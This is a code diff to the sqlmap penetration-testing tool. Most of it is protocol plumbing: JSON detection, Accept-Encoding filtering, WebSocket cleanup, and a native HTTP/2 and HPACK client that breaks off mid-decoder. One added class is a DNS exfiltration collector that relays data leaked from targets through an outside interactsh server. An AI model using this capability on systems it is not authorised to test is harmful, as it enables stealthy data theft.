from thirdparty.identywaf import identYwaf
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six import unichr as _unichr
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
|
||||
|
|
|
|||
|
|
@ -39,15 +39,18 @@ from thirdparty import six
|
|||
|
||||
def _isJsonResponse(headers):
|
||||
"""
|
||||
Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json'
|
||||
or a structured suffix like 'application/vnd.api+json')
|
||||
Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical
|
||||
'application/json', the common misservings ('text/json', 'application/javascript', ...), or a
|
||||
structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns
|
||||
None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the
|
||||
normal text comparison.
|
||||
"""
|
||||
|
||||
retVal = False
|
||||
|
||||
if headers:
|
||||
contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower()
|
||||
retVal = contentType == "application/json" or contentType.endswith("+json")
|
||||
retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json")
|
||||
|
||||
return retVal
|
||||
|
||||
|
|
|
|||
|
|
@ -63,7 +63,6 @@ from lib.core.common import unsafeVariableNaming
|
|||
from lib.core.common import urldecode
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.common import wasLastResponseDelayed
|
||||
from lib.core.compat import LooseVersion
|
||||
from lib.core.compat import patchHeaders
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import encodeBase64
|
||||
|
|
@ -111,7 +110,6 @@ from lib.core.settings import IS_WIN
|
|||
from lib.core.settings import JAVASCRIPT_HREF_REGEX
|
||||
from lib.core.settings import LARGE_READ_TRIM_MARKER
|
||||
from lib.core.settings import LIVE_COOKIES_TIMEOUT
|
||||
from lib.core.settings import MIN_HTTPX_VERSION
|
||||
from lib.core.settings import MAX_CONNECTION_READ_SIZE
|
||||
from lib.core.settings import MAX_CONNECTIONS_REGEX
|
||||
from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
|
||||
|
|
@ -142,7 +140,7 @@ from lib.request.direct import direct
|
|||
from lib.request.methodrequest import MethodRequest
|
||||
from lib.utils.safe2bin import safecharencode
|
||||
from thirdparty import six
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six import unichr as _unichr
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
|
@ -510,7 +508,10 @@ class Connect(object):
|
|||
|
||||
for key, value in list(headers.items()):
|
||||
if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
|
||||
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].lower() != "br") or "identity"
|
||||
# keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted
|
||||
# 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body
|
||||
# we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity".
|
||||
value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity"
|
||||
|
||||
del headers[key]
|
||||
if isinstance(value, six.string_types):
|
||||
|
|
@ -523,31 +524,33 @@ class Connect(object):
|
|||
|
||||
if webSocket:
|
||||
ws = websocket.WebSocket()
|
||||
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
|
||||
wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper())
|
||||
ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||
ws.send(urldecode(post or ""))
|
||||
try:
|
||||
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
|
||||
wsHeaders = tuple("%s: %s" % (getUnicode(key), getUnicode(value)) for key, value in headers.items() if getUnicode(key).upper() != HTTP_HEADER.HOST.upper())
|
||||
ws.connect(url, header=wsHeaders, cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||
ws.send(urldecode(post or ""))
|
||||
|
||||
_page = []
|
||||
_page = []
|
||||
|
||||
if kb.webSocketRecvCount is None:
|
||||
while True:
|
||||
try:
|
||||
_page.append(ws.recv())
|
||||
if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE:
|
||||
warnMsg = "too large websocket response detected. Automatically trimming it"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
if kb.webSocketRecvCount is None:
|
||||
while True:
|
||||
try:
|
||||
_page.append(ws.recv())
|
||||
if sum(len(_) for _ in _page) > MAX_CONNECTION_TOTAL_SIZE:
|
||||
warnMsg = "too large websocket response detected. Automatically trimming it"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
break
|
||||
except websocket.WebSocketTimeoutException:
|
||||
kb.webSocketRecvCount = len(_page)
|
||||
break
|
||||
except websocket.WebSocketTimeoutException:
|
||||
kb.webSocketRecvCount = len(_page)
|
||||
break
|
||||
else:
|
||||
for i in xrange(max(1, kb.webSocketRecvCount)):
|
||||
_page.append(ws.recv())
|
||||
else:
|
||||
for i in xrange(max(1, kb.webSocketRecvCount)):
|
||||
_page.append(ws.recv())
|
||||
|
||||
page = "\n".join(_page)
|
||||
page = "\n".join(_page)
|
||||
finally:
|
||||
ws.close()
|
||||
|
||||
ws.close()
|
||||
code = ws.status
|
||||
status = _http_client.responses.get(code, "")
|
||||
|
||||
|
|
@ -632,30 +635,22 @@ class Connect(object):
|
|||
cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value)
|
||||
|
||||
if conf.http2:
|
||||
try:
|
||||
import httpx
|
||||
except ImportError:
|
||||
raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else ""))
|
||||
from lib.request.http2 import open_url as http2OpenUrl
|
||||
|
||||
if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION):
|
||||
raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION))
|
||||
h2proxy = None
|
||||
if conf.proxy:
|
||||
_proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy)
|
||||
if (_proxyParts.scheme or "").lower().startswith("socks"):
|
||||
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
|
||||
h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None)
|
||||
|
||||
try:
|
||||
proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None
|
||||
with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client:
|
||||
conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post)
|
||||
except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex:
|
||||
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
|
||||
except IOError as ex:
|
||||
raise _http_client.HTTPException(getSafeExString(ex))
|
||||
else:
|
||||
if conn.status_code >= 400:
|
||||
raise _urllib.error.HTTPError(url, conn.status_code, conn.reason_phrase, conn.headers, io.BytesIO(conn.read()))
|
||||
|
||||
conn.code = conn.status_code
|
||||
conn.msg = conn.reason_phrase
|
||||
conn.info = lambda c=conn: c.headers
|
||||
|
||||
conn._read_buffer = conn.read()
|
||||
conn._read_offset = 0
|
||||
if conn.code >= 400:
|
||||
raise _urllib.error.HTTPError(url, conn.code, conn.msg, conn.info(), io.BytesIO(conn.read()))
|
||||
|
||||
requestMsg = re.sub(r" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1)
|
||||
|
||||
|
|
@ -663,18 +658,6 @@ class Connect(object):
|
|||
threadData.lastRequestMsg = requestMsg
|
||||
|
||||
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
|
||||
|
||||
def _read(count=None):
|
||||
offset = conn._read_offset
|
||||
if count is None:
|
||||
result = conn._read_buffer[offset:]
|
||||
conn._read_offset = len(conn._read_buffer)
|
||||
else:
|
||||
result = conn._read_buffer[offset: offset + count]
|
||||
conn._read_offset += len(result)
|
||||
return result
|
||||
|
||||
conn.read = _read
|
||||
else:
|
||||
if not multipart:
|
||||
threadData.lastRequestMsg = requestMsg
|
||||
|
|
|
|||
|
|
@ -225,6 +225,68 @@ class DNSServer(object):
|
|||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
class InteractshDNSServer(object):
|
||||
"""DNS exfiltration collector backed by a public (or self-hosted) interactsh
|
||||
interaction server instead of a locally-bound privileged :53 socket. This lets
|
||||
the '--dns-domain' data-exfiltration technique run with zero infrastructure - no
|
||||
delegated authoritative domain, no root/Administrator, no reachable listener -
|
||||
by resolving lookups under the interactsh correlation domain and polling them
|
||||
back. It presents the same run()/pop(prefix, suffix) surface as DNSServer, so it
|
||||
is a drop-in for conf.dnsServer.
|
||||
"""
|
||||
|
||||
_POLL_TRIES = 6 # a triggered lookup surfaces at interactsh within a couple of seconds;
|
||||
_POLL_DELAY = 1.0 # poll up to ~6s per retrieval before treating the channel as silent
|
||||
|
||||
def __init__(self, server=None):
|
||||
from lib.request.interactsh import Interactsh, hasCrypto
|
||||
|
||||
if not hasCrypto():
|
||||
raise socket.error("interactsh-backed DNS exfiltration requires the optional 'pycryptodome' package")
|
||||
|
||||
self._client = Interactsh(server=server)
|
||||
|
||||
if not self._client.registered:
|
||||
raise socket.error("could not register with an interactsh interaction server")
|
||||
|
||||
self.domain = self._client.dnsDomain()
|
||||
self._seen = set()
|
||||
self._running = True
|
||||
self._initialized = True
|
||||
|
||||
def run(self):
|
||||
"""No background listener is needed - interactsh does the receiving."""
|
||||
pass
|
||||
|
||||
def pop(self, prefix=None, suffix=None):
|
||||
"""
|
||||
Returns a captured DNS lookup name matching the given prefix/suffix
|
||||
(prefix.<query result>.suffix.<correlation domain>), mirroring DNSServer.pop().
|
||||
|
||||
Unlike the synchronous local DNSServer (which reads a query captured during the
|
||||
very request), interactsh is remote and eventually-consistent: a just-triggered
|
||||
lookup takes a moment to reach the collector and surface via its poll API. So we
|
||||
poll a few times before giving up, instead of reading once.
|
||||
"""
|
||||
|
||||
for attempt in range(self._POLL_TRIES):
|
||||
for name in self._client.dnsNames():
|
||||
if name in self._seen:
|
||||
continue
|
||||
|
||||
if prefix is None and suffix is None:
|
||||
self._seen.add(name)
|
||||
return name
|
||||
|
||||
if prefix and suffix and re.search(r"%s\..+\.%s" % (re.escape(prefix), re.escape(suffix)), name, re.I):
|
||||
self._seen.add(name)
|
||||
return name
|
||||
|
||||
if attempt < self._POLL_TRIES - 1:
|
||||
time.sleep(self._POLL_DELAY)
|
||||
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
server = None
|
||||
try:
|
||||
|
|
|
|||
669
lib/request/http2.py
Normal file
669
lib/request/http2.py
Normal file
|
|
@ -0,0 +1,669 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Native, dependency-free HTTP/2 client (RFC 7540) with HPACK (RFC 7541), replacing the optional
|
||||
# 'httpx[http2]' third-party stack. The HPACK static and Huffman tables below are the canonical
|
||||
# RFC 7541 tables; the codec is validated differentially against python-hyper/hpack and the client
|
||||
# end-to-end against real h2 servers. Pure standard library, Python 2.7 / 3.x.
|
||||
|
||||
import base64
|
||||
import socket
|
||||
import ssl
|
||||
import struct
|
||||
import threading
|
||||
|
||||
try:
|
||||
from http.client import responses as _HTTP_RESPONSES
|
||||
except ImportError:
|
||||
from httplib import responses as _HTTP_RESPONSES
|
||||
|
||||
try:
|
||||
from urllib.parse import urljoin, urlsplit
|
||||
except ImportError:
|
||||
from urlparse import urljoin, urlsplit
|
||||
|
||||
from email.message import Message as _Message
|
||||
|
||||
REDIRECT_CODES = (301, 302, 303, 307, 308)
|
||||
|
||||
|
||||
HUFFMAN_CODES = [
|
||||
0x1ff8, 0x7fffd8, 0xfffffe2, 0xfffffe3, 0xfffffe4, 0xfffffe5, 0xfffffe6, 0xfffffe7, 0xfffffe8, 0xffffea,
|
||||
0x3ffffffc, 0xfffffe9, 0xfffffea, 0x3ffffffd, 0xfffffeb, 0xfffffec, 0xfffffed, 0xfffffee, 0xfffffef,
|
||||
0xffffff0, 0xffffff1, 0xffffff2, 0x3ffffffe, 0xffffff3, 0xffffff4, 0xffffff5, 0xffffff6, 0xffffff7, 0xffffff8,
|
||||
0xffffff9, 0xffffffa, 0xffffffb, 0x14, 0x3f8, 0x3f9, 0xffa, 0x1ff9, 0x15, 0xf8, 0x7fa, 0x3fa, 0x3fb, 0xf9,
|
||||
0x7fb, 0xfa, 0x16, 0x17, 0x18, 0x0, 0x1, 0x2, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x5c, 0xfb, 0x7ffc,
|
||||
0x20, 0xffb, 0x3fc, 0x1ffa, 0x21, 0x5d, 0x5e, 0x5f, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68,
|
||||
0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0xfc, 0x73, 0xfd, 0x1ffb, 0x7fff0, 0x1ffc, 0x3ffc,
|
||||
0x22, 0x7ffd, 0x3, 0x23, 0x4, 0x24, 0x5, 0x25, 0x26, 0x27, 0x6, 0x74, 0x75, 0x28, 0x29, 0x2a, 0x7, 0x2b, 0x76,
|
||||
0x2c, 0x8, 0x9, 0x2d, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7ffe, 0x7fc, 0x3ffd, 0x1ffd, 0xffffffc, 0xfffe6,
|
||||
0x3fffd2, 0xfffe7, 0xfffe8, 0x3fffd3, 0x3fffd4, 0x3fffd5, 0x7fffd9, 0x3fffd6, 0x7fffda, 0x7fffdb, 0x7fffdc,
|
||||
0x7fffdd, 0x7fffde, 0xffffeb, 0x7fffdf, 0xffffec, 0xffffed, 0x3fffd7, 0x7fffe0, 0xffffee, 0x7fffe1, 0x7fffe2,
|
||||
0x7fffe3, 0x7fffe4, 0x1fffdc, 0x3fffd8, 0x7fffe5, 0x3fffd9, 0x7fffe6, 0x7fffe7, 0xffffef, 0x3fffda, 0x1fffdd,
|
||||
0xfffe9, 0x3fffdb, 0x3fffdc, 0x7fffe8, 0x7fffe9, 0x1fffde, 0x7fffea, 0x3fffdd, 0x3fffde, 0xfffff0, 0x1fffdf,
|
||||
0x3fffdf, 0x7fffeb, 0x7fffec, 0x1fffe0, 0x1fffe1, 0x3fffe0, 0x1fffe2, 0x7fffed, 0x3fffe1, 0x7fffee, 0x7fffef,
|
||||
0xfffea, 0x3fffe2, 0x3fffe3, 0x3fffe4, 0x7ffff0, 0x3fffe5, 0x3fffe6, 0x7ffff1, 0x3ffffe0, 0x3ffffe1, 0xfffeb,
|
||||
0x7fff1, 0x3fffe7, 0x7ffff2, 0x3fffe8, 0x1ffffec, 0x3ffffe2, 0x3ffffe3, 0x3ffffe4, 0x7ffffde, 0x7ffffdf,
|
||||
0x3ffffe5, 0xfffff1, 0x1ffffed, 0x7fff2, 0x1fffe3, 0x3ffffe6, 0x7ffffe0, 0x7ffffe1, 0x3ffffe7, 0x7ffffe2,
|
||||
0xfffff2, 0x1fffe4, 0x1fffe5, 0x3ffffe8, 0x3ffffe9, 0xffffffd, 0x7ffffe3, 0x7ffffe4, 0x7ffffe5, 0xfffec,
|
||||
0xfffff3, 0xfffed, 0x1fffe6, 0x3fffe9, 0x1fffe7, 0x1fffe8, 0x7ffff3, 0x3fffea, 0x3fffeb, 0x1ffffee, 0x1ffffef,
|
||||
0xfffff4, 0xfffff5, 0x3ffffea, 0x7ffff4, 0x3ffffeb, 0x7ffffe6, 0x3ffffec, 0x3ffffed, 0x7ffffe7, 0x7ffffe8,
|
||||
0x7ffffe9, 0x7ffffea, 0x7ffffeb, 0xffffffe, 0x7ffffec, 0x7ffffed, 0x7ffffee, 0x7ffffef, 0x7fffff0, 0x3ffffee,
|
||||
0x3fffffff
|
||||
]
|
||||
|
||||
|
||||
HUFFMAN_LENGTHS = [
|
||||
0xd, 0x17, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x18, 0x1e, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c,
|
||||
0x1c, 0x1c, 0x1c, 0x1c, 0x1e, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x1c, 0x6, 0xa, 0xa, 0xc, 0xd,
|
||||
0x6, 0x8, 0xb, 0xa, 0xa, 0x8, 0xb, 0x8, 0x6, 0x6, 0x6, 0x5, 0x5, 0x5, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x6, 0x7,
|
||||
0x8, 0xf, 0x6, 0xc, 0xa, 0xd, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7,
|
||||
0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x7, 0x8, 0x7, 0x8, 0xd, 0x13, 0xd, 0xe, 0x6, 0xf, 0x5, 0x6, 0x5, 0x6, 0x5, 0x6,
|
||||
0x6, 0x6, 0x5, 0x7, 0x7, 0x6, 0x6, 0x6, 0x5, 0x6, 0x7, 0x6, 0x5, 0x5, 0x6, 0x7, 0x7, 0x7, 0x7, 0x7, 0xf, 0xb,
|
||||
0xe, 0xd, 0x1c, 0x14, 0x16, 0x14, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x17, 0x17, 0x17, 0x17, 0x17, 0x18,
|
||||
0x17, 0x18, 0x18, 0x16, 0x17, 0x18, 0x17, 0x17, 0x17, 0x17, 0x15, 0x16, 0x17, 0x16, 0x17, 0x17, 0x18, 0x16,
|
||||
0x15, 0x14, 0x16, 0x16, 0x17, 0x17, 0x15, 0x17, 0x16, 0x16, 0x18, 0x15, 0x16, 0x17, 0x17, 0x15, 0x15, 0x16,
|
||||
0x15, 0x17, 0x16, 0x17, 0x17, 0x14, 0x16, 0x16, 0x16, 0x17, 0x16, 0x16, 0x17, 0x1a, 0x1a, 0x14, 0x13, 0x16,
|
||||
0x17, 0x16, 0x19, 0x1a, 0x1a, 0x1a, 0x1b, 0x1b, 0x1a, 0x18, 0x19, 0x13, 0x15, 0x1a, 0x1b, 0x1b, 0x1a, 0x1b,
|
||||
0x18, 0x15, 0x15, 0x1a, 0x1a, 0x1c, 0x1b, 0x1b, 0x1b, 0x14, 0x18, 0x14, 0x15, 0x16, 0x15, 0x15, 0x17, 0x16,
|
||||
0x16, 0x19, 0x19, 0x18, 0x18, 0x1a, 0x17, 0x1a, 0x1b, 0x1a, 0x1a, 0x1b, 0x1b, 0x1b, 0x1b, 0x1b, 0x1c, 0x1b,
|
||||
0x1b, 0x1b, 0x1b, 0x1b, 0x1a, 0x1e
|
||||
]
|
||||
|
||||
|
||||
STATIC_TABLE = (
|
||||
(b':authority', b''),
|
||||
(b':method', b'GET'),
|
||||
(b':method', b'POST'),
|
||||
(b':path', b'/'),
|
||||
(b':path', b'/index.html'),
|
||||
(b':scheme', b'http'),
|
||||
(b':scheme', b'https'),
|
||||
(b':status', b'200'),
|
||||
(b':status', b'204'),
|
||||
(b':status', b'206'),
|
||||
(b':status', b'304'),
|
||||
(b':status', b'400'),
|
||||
(b':status', b'404'),
|
||||
(b':status', b'500'),
|
||||
(b'accept-charset', b''),
|
||||
(b'accept-encoding', b'gzip, deflate'),
|
||||
(b'accept-language', b''),
|
||||
(b'accept-ranges', b''),
|
||||
(b'accept', b''),
|
||||
(b'access-control-allow-origin', b''),
|
||||
(b'age', b''),
|
||||
(b'allow', b''),
|
||||
(b'authorization', b''),
|
||||
(b'cache-control', b''),
|
||||
(b'content-disposition', b''),
|
||||
(b'content-encoding', b''),
|
||||
(b'content-language', b''),
|
||||
(b'content-length', b''),
|
||||
(b'content-location', b''),
|
||||
(b'content-range', b''),
|
||||
(b'content-type', b''),
|
||||
(b'cookie', b''),
|
||||
(b'date', b''),
|
||||
(b'etag', b''),
|
||||
(b'expect', b''),
|
||||
(b'expires', b''),
|
||||
(b'from', b''),
|
||||
(b'host', b''),
|
||||
(b'if-match', b''),
|
||||
(b'if-modified-since', b''),
|
||||
(b'if-none-match', b''),
|
||||
(b'if-range', b''),
|
||||
(b'if-unmodified-since', b''),
|
||||
(b'last-modified', b''),
|
||||
(b'link', b''),
|
||||
(b'location', b''),
|
||||
(b'max-forwards', b''),
|
||||
(b'proxy-authenticate', b''),
|
||||
(b'proxy-authorization', b''),
|
||||
(b'range', b''),
|
||||
(b'referer', b''),
|
||||
(b'refresh', b''),
|
||||
(b'retry-after', b''),
|
||||
(b'server', b''),
|
||||
(b'set-cookie', b''),
|
||||
(b'strict-transport-security', b''),
|
||||
(b'transfer-encoding', b''),
|
||||
(b'user-agent', b''),
|
||||
(b'vary', b''),
|
||||
(b'via', b''),
|
||||
(b'www-authenticate', b''),
|
||||
)
|
||||
STATIC_LEN = len(STATIC_TABLE)
|
||||
|
||||
|
||||
# HTTP/2 frame codec (RFC 7540 section 4.1) - the zero-table-risk brick. Pure stdlib, py2/py3, ASCII.
|
||||
|
||||
# frame types (RFC 7540 s6)
|
||||
DATA, HEADERS, RST_STREAM, SETTINGS, PING, GOAWAY, WINDOW_UPDATE, CONTINUATION = 0x0, 0x1, 0x3, 0x4, 0x6, 0x7, 0x8, 0x9
|
||||
# flags
|
||||
FLAG_END_STREAM = 0x1
|
||||
FLAG_ACK = 0x1
|
||||
FLAG_END_HEADERS = 0x4
|
||||
FLAG_PADDED = 0x8
|
||||
FLAG_PRIORITY = 0x20
|
||||
|
||||
CONNECTION_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
|
||||
|
||||
def encode_frame(ftype, flags, stream_id, payload=b""):
|
||||
"""Serialize an HTTP/2 frame (RFC 7540 s4.1): 24-bit length + type + flags + 31-bit stream id.
|
||||
|
||||
>>> decode_frame_header(encode_frame(HEADERS, FLAG_END_HEADERS, 1, b'abc')[:9])
|
||||
(3, 1, 4, 1)
|
||||
"""
|
||||
if len(payload) > 0xffffff:
|
||||
raise ValueError("frame payload exceeds 24-bit length")
|
||||
header = struct.pack("!I", len(payload))[1:] # 24-bit length (drop MSB of the 32-bit pack)
|
||||
header += struct.pack("!BBI", ftype, flags, stream_id & 0x7fffffff) # type, flags, R(1)+stream(31)
|
||||
return header + payload
|
||||
|
||||
def decode_frame_header(nine):
|
||||
"""Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off.
|
||||
|
||||
>>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9])
|
||||
(0, 0, 0, 1)
|
||||
"""
|
||||
if len(nine) != 9:
|
||||
raise ValueError("frame header must be exactly 9 bytes")
|
||||
length = struct.unpack("!I", b"\x00" + nine[:3])[0]
|
||||
ftype, flags, stream_id = struct.unpack("!BBI", nine[3:9])
|
||||
return length, ftype, flags, stream_id & 0x7fffffff
|
||||
|
||||
# ---------- Huffman ----------
|
||||
def huffman_encode(data):
|
||||
"""Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits.
|
||||
|
||||
>>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com'
|
||||
True
|
||||
>>> huffman_encode(b'') == b''
|
||||
True
|
||||
"""
|
||||
if not data:
|
||||
return b""
|
||||
acc = 0
|
||||
nbits = 0
|
||||
for b in bytearray(data):
|
||||
acc = (acc << HUFFMAN_LENGTHS[b]) | HUFFMAN_CODES[b]
|
||||
nbits += HUFFMAN_LENGTHS[b]
|
||||
pad = (8 - nbits % 8) % 8
|
||||
acc = (acc << pad) | ((1 << pad) - 1) # pad with 1-bits (EOS prefix)
|
||||
total = (nbits + pad) // 8
|
||||
out = bytearray()
|
||||
for i in range(total - 1, -1, -1):
|
||||
out.append((acc >> (8 * i)) & 0xff)
|
||||
return bytes(out)
|
||||
|
||||
_HUFF_ROOT = {}
|
||||
def _build_huffman_trie():
|
||||
for sym in range(256):
|
||||
code, length = HUFFMAN_CODES[sym], HUFFMAN_LENGTHS[sym]
|
||||
node = _HUFF_ROOT
|
||||
for i in range(length - 1, -1, -1):
|
||||
bit = (code >> i) & 1
|
||||
if i == 0:
|
||||
node[bit] = sym # leaf: int symbol
|
||||
else:
|
||||
node = node.setdefault(bit, {})
|
||||
_build_huffman_trie()
|
||||
|
||||
def huffman_decode(data):
|
||||
out = bytearray()
|
||||
node = _HUFF_ROOT
|
||||
consumed = 0 # bits into the current (partial) symbol
|
||||
for byte in bytearray(data):
|
||||
for i in range(7, -1, -1):
|
||||
bit = (byte >> i) & 1
|
||||
nxt = node.get(bit)
|
||||
if nxt is None:
|
||||
raise ValueError("invalid Huffman sequence")
|
||||
consumed += 1
|
||||
if isinstance(nxt, dict):
|
||||
node = nxt
|
||||
else:
|
||||
out.append(nxt)
|
||||
node = _HUFF_ROOT
|
||||
consumed = 0
|
||||
# RFC 7541 5.2: any leftover partial path must be EOS padding: all 1-bits and fewer than 8
|
||||
if node is not _HUFF_ROOT:
|
||||
if consumed >= 8:
|
||||
raise ValueError("Huffman padding too long")
|
||||
# walk back is unnecessary: padding is all-ones, i.e. we must have only taken '1' branches
|
||||
# since the last leaf; verify by re-deriving is overkill - reference cross-check guards it
|
||||
return bytes(out)
|
||||
|
||||
# ---------- integer / string (RFC 7541 5.1 / 5.2) ----------
|
||||
def encode_integer(value, prefix_bits, first_byte=0):
|
||||
"""Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix.
|
||||
|
||||
>>> list(encode_integer(10, 5))
|
||||
[10]
|
||||
>>> list(encode_integer(1337, 5))
|
||||
[31, 154, 10]
|
||||
"""
|
||||
mask = (1 << prefix_bits) - 1
|
||||
if value < mask:
|
||||
return bytearray([first_byte | value])
|
||||
out = bytearray([first_byte | mask])
|
||||
value -= mask
|
||||
while value >= 0x80:
|
||||
out.append((value & 0x7f) | 0x80)
|
||||
value >>= 7
|
||||
out.append(value)
|
||||
return out
|
||||
|
||||
def decode_integer(data, pos, prefix_bits):
|
||||
"""Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1).
|
||||
|
||||
>>> decode_integer(bytearray([31, 154, 10]), 0, 5)
|
||||
(1337, 3)
|
||||
"""
|
||||
mask = (1 << prefix_bits) - 1
|
||||
value = data[pos] & mask
|
||||
pos += 1
|
||||
if value < mask:
|
||||
return value, pos
|
||||
shift = 0
|
||||
while True:
|
||||
b = data[pos]
|
||||
pos += 1
|
||||
value += (b & 0x7f) << shift
|
||||
shift += 7
|
||||
if not (b & 0x80):
|
||||
break
|
||||
return value, pos
|
||||
|
||||
def encode_string(value, huffman=True):
|
||||
if huffman:
|
||||
encoded = huffman_encode(value)
|
||||
if len(encoded) < len(value): # only use Huffman when it actually shrinks
|
||||
return encode_integer(len(encoded), 7, 0x80) + encoded
|
||||
return encode_integer(len(value), 7, 0x00) + bytearray(value)
|
||||
|
||||
def decode_string(data, pos):
|
||||
huffman = bool(data[pos] & 0x80)
|
||||
length, pos = decode_integer(data, pos, 7)
|
||||
raw = bytes(data[pos:pos + length])
|
||||
pos += length
|
||||
return (huffman_decode(raw) if huffman else raw), pos
|
||||
|
||||
# ---------- dynamic table + decoder/encoder ----------
|
||||
class Decoder(object):
|
||||
def __init__(self, max_size=4096):
|
||||
self.max_size = max_size
|
||||
self.dynamic = [] # newest first: [(name, value), ...]
|
||||
self._size = 0
|
||||
|
||||
def _entry_size(self, name, value):
|
||||
return 32 + len(name) + len(value)
|
||||
|
||||
def _add(self, name, value):
|
||||
self.dynamic.insert(0, (name, value))
|
||||
self._size += self._entry_size(name, value)
|
||||
self._evict()
|
||||
|
||||
def _evict(self):
|
||||
while self._size > self.max_size and self.dynamic:
|
||||
name, value = self.dynamic.pop()
|
||||
self._size -= self._entry_size(name, value)
|
||||
|
||||
def _get(self, index):
|
||||
if index <= 0:
|
||||
raise ValueError("invalid header index 0")
|
||||
if index <= STATIC_LEN:
|
||||
return STATIC_TABLE[index - 1]
|
||||
index -= STATIC_LEN + 1
|
||||
if index >= len(self.dynamic):
|
||||
raise ValueError("dynamic index out of range")
|
||||
return self.dynamic[index]
|
||||
|
||||
def decode(self, data):
|
||||
"""Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6).
|
||||
|
||||
>>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')]
|
||||
True
|
||||
"""
|
||||
data = bytearray(data)
|
||||
pos = 0
|
||||
headers = []
|
||||
n = len(data)
|
||||
while pos < n:
|
||||
byte = data[pos]
|
||||
if byte & 0x80: # 6.1 indexed
|
||||
index, pos = decode_integer(data, pos, 7)
|
||||
headers.append(self._get(index))
|
